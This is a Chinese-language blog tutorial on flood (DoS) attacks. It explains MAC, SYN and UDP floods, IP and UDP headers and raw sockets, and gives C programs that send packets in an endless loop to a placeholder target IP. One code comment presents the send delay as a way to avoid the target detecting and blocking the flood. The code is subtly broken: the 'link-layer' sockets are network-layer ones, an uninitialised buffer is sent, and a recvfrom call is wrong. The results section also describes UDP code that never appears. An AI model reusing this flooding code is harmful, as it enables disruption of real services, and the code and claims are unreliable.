泛洪攻击实现

第十七讲:泛洪攻击及其实现

1.洪水攻击概述

洪水攻击是黑客常用的一种攻击技术,也称为DDoS(拒绝服务攻击)的一种,其特点在于实施简单且威力巨大,大多无视防御。其基本原理是攻击者对网络资源发送过量数据,导致服务器资源耗尽而无法提供正常服务,间接达到拒绝服务的目的。被攻击的网络资源可以是router、switch、host、application等。这种攻击大多会利用服务器上的漏洞或者利用伪造的IP地址进行攻击,很难被防御者发现。常见的洪水攻击包含MAC泛洪、TCP SYN泛洪和应用程序泛洪等。因此,防御洪水攻击需要采取多种手段,如加强网络设备的安全性、限制网络流量、过滤不必要的服务等。 攻击的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计。洪水攻击主要分为ICMP、UDP和SYN攻击3种类型。 MAC泛洪:攻击者进入LAN内,将假冒源MAC地址和目的MAC地址将数据帧发送到以太网上导致交换机的内容可寻址存储器(CAM)满掉,然后交换机失去转发功能,导致攻击者可以像在共享式以太网上对某些帧进行嗅探。这种攻击可以通过端口安全技术方式,比如端口和MAC地址绑定来防御。 网络泛洪(DDos):攻击侵入许多因特网上的系统,将DDos控制软件安装进去,然后这些系统再去感染其它系统,通过这些代理,攻击者将攻击指令发送给DDos控制软件,然后这个系统就去控制下面的代理系统去对某个IP地址发送大量假冒的网络流量,然后受攻击者的网络将被这些假的流量所占据就无法为他们的正常用户提供服务了。 TCP SYN泛洪:发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。这样更加会浪费服务器的资源。 另外,还有一些其他的洪水攻击手段,比如直接洪水攻击、伪装IP攻击、反射攻击等。这些攻击手段都是利用网络协议的漏洞或者伪造IP地址等方式,向目标主机发送大量无用的数据报文,使得目标主机忙于处理无用的数据报文而无法提供正常服务的网络行为。 防御洪水攻击需要采取多种手段,如加强网络设备的安全性、限制网络流量、过滤不必要的服务等。同时,也需要及时更新系统和应用程序补丁,以及合理配置网络防火墙等措施。 洪水攻击是现在黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的。

2.UDP洪水攻击原理分析

UDP洪水攻击的工作原理主要是利用大量的UDP数据包冲击目标服务器,导致服务器资源耗尽而无法提供正常服务。因为UDP协议是一种无连接的服务,攻击者可发送大量伪造源IP地址的小UDP包。当服务器接收到新的UDP数据包时,会逐步进行处理,并在此过程中利用服务器资源来处理请求。传输UDP数据包时,每个数据包都将包括源设备的IP地址。由于目标服务器利用资源来检查并响应每个接收到的UDP数据包,当收到大量UDP数据包时,目标资源会很快耗尽,从而导致对正常流量拒绝服务。

##3.ip协议格式

版本号:4位,表示IP协议的版本号,目前有IPv4和IPv6两个版本。

首部长度:4位,表示IP报头的长度,单位为4个字节。最大值为15,即IP报头最大长度为60个字节。

服务类型:8位,其中4位有效,用于表示不同的服务质量,包括最小延时、最大吞吐量、最高可靠性、最小成本。这4位中最多只有一位可以是1,不能同时出现多个1。

总长度:16位,表示IP数据报的总长度。最大长度为65535字节。如果超过该长度,可以采用分包和组包的方法。

标识:16位,用于标识IP数据报的唯一标识符。多个被拆分的IP数据报的标识相同。

标志:3位,其中一位用于表示是否分包,另一位用于表示当前包是否为最后一个分包。

片偏移:13位,用于区分包的前后顺序。

生存时间:8位,表示一个IP数据报在网络上还能存在多久,单位为转发次数。

协议:8位,用于标识传输层使用的协议。

源IP地址和目的IP地址:各32位,分别表示发送方和接收方的IP地址。

片位移:本分片在原先数据报文中相对首位的偏移位。片偏移以8个字节为偏移单位。(需要再乘以8)

生存时间:IP报文所允许通过的路由器的最大数量。每经过一个路由器,TTL减1,当为0时,路由器将该数据报丢弃。TTL 字段是由发送端初始设置一个 8 bit字段.推荐的初始值由分配数

字 RFC 指定,当前值为 64。发送 ICMP 回显应答时经常把 TTL 设为最大值 255。

协议:指出IP报文携带的数据使用的是那种协议,以便目的主机的IP层能知道要将数据报上交到哪个进程(不同的协议有专门不同的进程处理)。和端口号类似,此处采用协议号,TCP的协 议号为6,UDP的协议号为17。ICMP的协议号为1,IGMP的协议号为2.

首部校验和:计算IP头部的校验和,不检验数据部分。检查IP报头的完整性。

可选项字段:占32比特。用来定义一些任选项:如记录路径、时间戳等。这些选项很少被使用,同时并不是所有主机和路由器都支持这些选项。可选项字段的长度必须是32比特的整数倍,如果不足,必须填充0以达到此长度要求。

4.UDP协议格式

In [ ]:

 
源端口号(16位):发送方计算机上的端口号。
目的端口号(16位):接收方计算机上的端口号。
UDP长度(16位):表示整个数据报(UDP首部+UDP数据)的最大长度。
UDP校验和(16位):用于检测 UDP 用户数据报在传输过程中是否出错。如果校验和出错,则直接丢弃。
此外,UDP的报头是固定的8字节。

5.原始套接字

5.1原始套接字概述

原始套接字是一种特殊的套接字,它直接基于网络层(如IP)进行操作,提供了更加强大和底层的网络访问能力。与标准套接字(如流式套接字和数据报套接字)相比,原始套接字在接收和发送数据时,不仅能操作数据部分,还能对IP首部或TCP和UDP首部进行操作。 使用原始套接字时,应用程序负责构建完整的协议头,这使得它常常被用于构造和发送自定义的IP包,如在ping、traceroute等工具中,它们使用ICMP协议构建消息。 创建原始套接字与创建其他类型的套接字相似。例如,创建一个用于IPv4和ICMP的原始套接字需要使用诸如socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)的函数调用。 由于原始套接字允许直接访问底层协议,并可能被用于伪造数据包,所以它通常需要特殊权限(如root权限)。在发送数据时,需要提供完整的传输层头部(如TCP、UDP或ICMP头部),这给了我们控制头部字段的能力,例如伪造源IP地址。当使用原始套接字接收数据时,会得到底层协议的完整头部。 原始套接字经常被用于网络诊断工具(如ping和traceroute)、网络攻击和防御、以及某些类型的网络测试。然而,大多数操作系统默认会处理某些协议,这可能会导致原始套接字不能接收到这些协议的数据包。例如,操作系统可能会自动处理ICMP回显请求和回显应答,这意味着原始套接字可能无法看到这些数据包。 需要注意的是,由于原始套接字跳过了常规的协议处理,错误的使用可能导致不可预期的网络行为。操作系统可能提供了某种形式的保护,以防止滥用原始套接字,例如对其使用进行限制。另外,不同的操作系统可能对原始套接字的实现和行为有所不同。 总的来说,原始套接字是一个非常强大的工具,但也需要谨慎使用。正确使用它需要对网络协议有深入的理解,而滥用它可能导致网络问题或被视为恶意活动。

但是,当我们面对如下问题时,SOCK_STREAM、SOCK_DGRAM 将显得这样无助:

(1)怎样发送一个自定义的 IP 包? 发送自定义的IP包:通过原始套接字,您可以构建和发送自定义的IP包。您需要手动创建IP首部和TCP或UDP首部(如果适用),并将它们与数据部分一起发送。这使得您能够完全控制IP包的内容和格式。

(2)怎样发送一个 ICMP 协议包? 发送ICMP协议包:ICMP(Internet Control Message Protocol,互联网控制消息协议)是IP协议的附属协议。与IP协议一样,您可以使用原始套接字来构建和发送自定义的ICMP消息。同样,您需要手动构建ICMP首部和数据部分,并使用原始套接字将其发送到网络。

(3)怎样分析所有经过网络的包,而不管这样包是否是发给自己的? 分析所有经过网络的包:使用原始套接字,您可以接收并分析所有经过网络的数据包,而不仅仅是那些发送给您的数据包。通过监听网络接口上的所有数据帧,您可以获取并分析所有流经网络的数据包。

(4)怎样伪装本地的 IP 地址? 伪装本地IP地址:通过原始套接字,您可以伪装本地的IP地址。在构建IP包时,您可以设置IP首部的源地址字段为您希望伪装的IP地址。然而,请注意,伪装本地IP地址是一种潜在的非法行为,并且可能导致网络安全问题。

这使得我们必须面对另外一个深刻的主题——原始套接字(SOCK_RAW)。原始套接字广泛应用于高级网络编程,也是一种广泛的黑客手段。著名的网络sniffer(一种基于被动侦听原理的网络分析方式)、拒绝服务攻击(DOS)、IP 欺骗等都可以通过原始套接字实现。

原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包)。另外,必须在管理员权限下才能使用原始套接字。

5.2原始套接字相关函数

链路层是网络协议的第二层,负责在相邻节点之间传输数据。原始套接字允许应用程序直接与链路层交互,创建和发送原始数据包。通过使用原始套接字,攻击者可以创建大量的数据包,并将其发送到目标系统。

这些数据包可以是毫无意义的垃圾数据,也可以是针对特定漏洞或服务的恶意代码。无论哪种情况,目标系统都需要处理这些数据包,从而消耗其资源。如果攻击者发送的数据包数量足够多,目标系统可能会因为资源耗尽而崩溃或变得非常缓慢。要在C语言中创建原始套接字,首先需要包含头文件<sys/socket.h><netinet/in.h>。然后使用socket()函数创建一个套接字,并设置IPPROTO_RAW作为协议类型。接下来,可以使用bind()函数将套接字绑定到本地地址和端口。最后,可以使用recvfrom()sendto()函数接收和发送数据包。

5.3链路层原始套接字和网络层原始套接字

链路层原始套接字(Link-layer Raw Socket)和网络层原始套接字(Network-layer Raw Socket)是两种不同类型的套接字(Socket),它们在计算机网络中用于不同的目的和层次。

链路层原始套接字(Link-layer Raw Socket):

链路层是计算机网络体系结构中的第二层,负责在相邻节点之间传输数据。链路层原始套接字允许直接访问链路层的功能和协议。 使用链路层原始套接字,开发人员可以编写程序来监听和发送链路层的数据帧,从而与底层网络设备进行交互。 链路层原始套接字通常用于网络诊断和监控工具,如网络分析仪、网络扫描器等。它们还可以用于实现自定义的链路层协议或进行底层网络研究。 网络层原始套接字(Network-layer Raw Socket):

网络层是计算机网络体系结构中的第三层,负责将数据从源节点传输到目标节点。网络层原始套接字允许直接访问网络层的功能和协议。 使用网络层原始套接字,开发人员可以编写程序来监听和发送网络层的数据报(如IP数据报),从而与网络层的协议进行交互。 网络层原始套接字通常用于实现自定义的网络层协议、进行网络编程和网络应用程序开发。它们还常用于网络扫描、路由跟踪和网络安全分析等任务。

5.3.1链路层原始套接字创建数据包的代码需要以下步骤:

包含必要的头文件:

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>

创建原始套接字:

int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}

创建数据包:

struct sockaddr_in target_addr;
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_addr.s_addr = inet_addr("目标IP地址"); // 替换为目标IP地址
target_addr.sin_port = htons(目标端口); // 替换为目标端口号

发送数据包

char packet[1500]; // 替换为要发送的数据包内容
int len = strlen(packet);
if (sendto(sockfd, packet, len, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1) {
perror("sendto");
exit(EXIT_FAILURE);
}

5.3.2链路层原始套接字创建数据包的示例代码:
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <errno.h>  
#include <netinet/if_ether.h>  
#include <netinet/ip.h>  
#include <netinet/tcp.h>  
#include <netinet/ip_icmp.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#include <netpacket/packet.h>  
#include <netinet/in_systm.h>  
#include <netinet/ip6.h>  
#include <netinet/icmp6.h>  
#include <netinet/igmp.h>  
#include <sys/timeb.h>  
#include <sys/types.h>  
#include <sys/uio.h>  
#include <time.h>  

int main() {  
    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);  
    if (sockfd == -1) {  
        perror("socket");  
        exit(EXIT_FAILURE);  
    }  
    struct sockaddr_in target_addr;  
    memset(&target_addr, 0, sizeof(target_addr));  
    target_addr.sin_family = AF_INET;  
    target_addr.sin_addr.s_addr = inet_addr("目标IP地址"); // 替换为目标IP地址  
    target_addr.sin_port = htons(目标端口); // 替换为目标端口号  
    char packet[1500]; // 替换为要发送的数据包内容  
    int len = strlen(packet);  
    while (1) {  
        if (sendto(sockfd, packet, len, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1) {  
            perror("sendto");  
            exit(EXIT_FAILURE);  
        }  
        sleep(1); // 暂停1秒钟,以控制发送速率,避免被目标系统识别和阻止泛洪攻击。可以根据需要调整暂停时间。  
    }  
    close(sockfd);  
    return 0;  
}
5.3.3泛洪攻击链路层原始套接字创建数据包代码逻辑分析

这段代码主要用于通过链路层原始套接字发送TCP数据包,包含必要的头文件:代码开始时包含了多个头文件,这些头文件提供了用于网络编程的各种功能和数据结构。

1.包含必要的头文件:代码开始时包含了多个头文件,这些头文件提供了用于网络编程的各种功能和数据结构。

2.创建原始套接字:使用socket()函数创建一个原始套接字,并指定协议为TCP int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);

3,设置目标地址:定义一个sockaddr_in结构体,用于存储目标IP地址和端口号。通过inet_addr()函数将字符串形式的IP地址转换为二进制形式。 struct sockaddr_in target_addr;
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_addr.s_addr = inet_addr("目标IP地址"); // 替换为目标IP地址
target_addr.sin_port = htons(目标端口); // 替换为目标端口号
char packet[1500]; // 替换为要发送的数据包内容
int len = strlen(packet);

4,发送数据包:在一个无限循环中,使用sendto()函数将数据包发送到目标地址。每次发送后,通过sleep()函数暂停一段时间(这里是1秒),以控制发送速率。 while (1) {
if (sendto(sockfd, packet, len, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1) {
perror("sendto");
exit(EXIT_FAILURE);
}
sleep(1);

5,关闭套接字:在程序结束前,使用close()函数关闭套接字。 close(sockfd);

5.3.4网络层原始套接字创建数据包的代码需要以下步骤:

网络层原始套接字实现方法

1.包含必要的头文件:

#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>

2.创建原始套接字:

int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

3.设置IP选项(可选)

int on = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

4.绑定套接字(可选): 如果需要将套接字绑定到特定的本地地址,可以使用bind()函数:

struct sockaddr_in local_addr;
local_addr.sin_family = AF_INET;
local_addr.sin_port = htons(0); // 使用任意端口
local_addr.sin_addr.s_addr = htonl(INADDR_ANY); // 绑定到任意地址
bind(sockfd, (struct sockaddr *)&local_addr, sizeof(local_addr));

5.发送和接收数据:

使用sendto()函数发送数据,使用recvfrom()函数接收数据。需要注意的是,原始套接字不提供对TCP或UDP协议的封装,因此发送和接收的数据是原始的IP数据报。

6.关闭套接字:

close(sockfd);

5.3.5网络层原始套接字代码示例
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <netdb.h>  

#define MAX_BUFFER 1500  

int main() {  
    int sockfd;  
    struct sockaddr_in target_addr;  
    char packet[MAX_BUFFER];  
    int len;  
    int bytes_read;  

    // 创建原始套接字  
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);  
    if (sockfd == -1) {  
        perror("socket");  
        exit(EXIT_FAILURE);  
    }  

    // 设置目标地址  
    memset(&target_addr, 0, sizeof(target_addr));  
    target_addr.sin_family = AF_INET;  
    target_addr.sin_addr.s_addr = inet_addr("目标IP地址"); // 替换为目标IP地址  
    target_addr.sin_port = htons(目标端口); // 替换为目标端口号  

    // 填充数据包内容(这里是一个示例)  
    sprintf(packet, "cp!"); // 可以根据需要自定义数据包内容  

    // 发送数据包  
    len = strlen(packet);  
    if (sendto(sockfd, packet, len, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1) {  
        perror("sendto");  
        exit(EXIT_FAILURE);  
    }  
    printf("Data packet sent.\n");  

    // 接收数据包(这里省略了循环接收的代码)  
    while ((bytes_read = recvfrom(sockfd, packet, MAX_BUFFER, 0, (struct sockaddr *)&target_addr, sizeof(target_addr))) > 0) {  
        packet[bytes_read] = '\0';  // null terminate the received data to treat it as a string  
        printf("Received: %s\n", packet);  // print the received data  
    }  
    if (bytes_read == -1) {  
        perror("recvfrom");  
        exit(EXIT_FAILURE);  
    }  

    // 关闭套接字  
    close(sockfd);  

    return 0;  
}
5.3.6泛洪攻击网络层原始套接字创建数据包代码逻辑分析

这段代码是一个简单的C程序,用于创建一个原始套接字并通过该套接字发送一个数据包。以下是对代码的分析:

1.头文件包含:

<stdio.h>:用于标准输入输出函数,如printf()。 <stdlib.h>:包含通用函数和变量,如exit()。 <string.h>:用于字符串操作函数,如strlen()。 <sys/socket.h>:用于套接字相关的函数和结构。 <netinet/in.h>:用于网络相关的数据结构和函数。 <arpa/inet.h>:用于网络地址转换函数,如inet_addr()。 <unistd.h>:包含UNIX标准函数和宏。 <netdb.h>:用于网络数据库操作,虽然在此代码中没有直接使用

2.变量声明:

sockfd:套接字的文件描述符。 target_addr:目标地址的结构体。 packet:存储要发送的数据包的字符数组。 len:存储数据包内容的长度。

int sockfd;  
struct sockaddr_in target_addr;  
char packet[1500];  
int len;  

3.创建原始套接字:

使用socket()函数创建一个原始套接字,并检查其返回值以确保套接字创建成功。

sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);

4.设置目标地址:

使用memset()函数将target_addr结构体清零。 设置其sin_family为AF_INET表示使用IPv4地址族。 使用inet_addr()函数将字符串形式的IP地址转换为32位整数形式的IP地址,并存储在target_addr.sin_addr.s_addr中。 使用htons()函数将目标端口号从主机字节序转换为网络字节序

memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_addr.s_addr = inet_addr("目标IP地址"); // 替换为目标IP地址
target_addr.sin_port = htons(目标端口); // 替换为目标端口号

5.填充数据包内容:

使用sprintf()函数将字符串"cp!"写入packet数组,作为要发送的数据包内容。这只是一个示例,可以根据需要进行更改。

sprintf(packet, "cp!"); // 可以根据需要自定义数据包内容

6.使用sendto()函数将数据包发送到指定的目标地址。检查函数的返回值以确保数据包发送成功。

len = strlen(packet);
if (sendto(sockfd, packet, len, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1) {
perror("sendto");
exit(EXIT_FAILURE);

7.打印消息:

如果数据包成功发送,则打印一条消息通知用户 printf("Data packet sent.\n");

8.关闭套接字:使用close()函数关闭套接字

close(sockfd);

9.错误处理:

如果套接字创建或数据包发送失败,程序会打印错误消息并退出。这可以通过检查sockfd和sendto()的返回值来实现。

06.实验结果

我们首先创建了一个UDP套接字,然后设置了目标地址和端口。接着,我们循环发送UDP数据包,每次发送一个大小为缓冲区大小的数据包,内容为随机生成的字节序列。最后,我们关闭了套接字。在循环中,我们使用了usleep函数来控制发送的间隔,这里设置为1毫秒。您可以根据需要调整这个值。

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值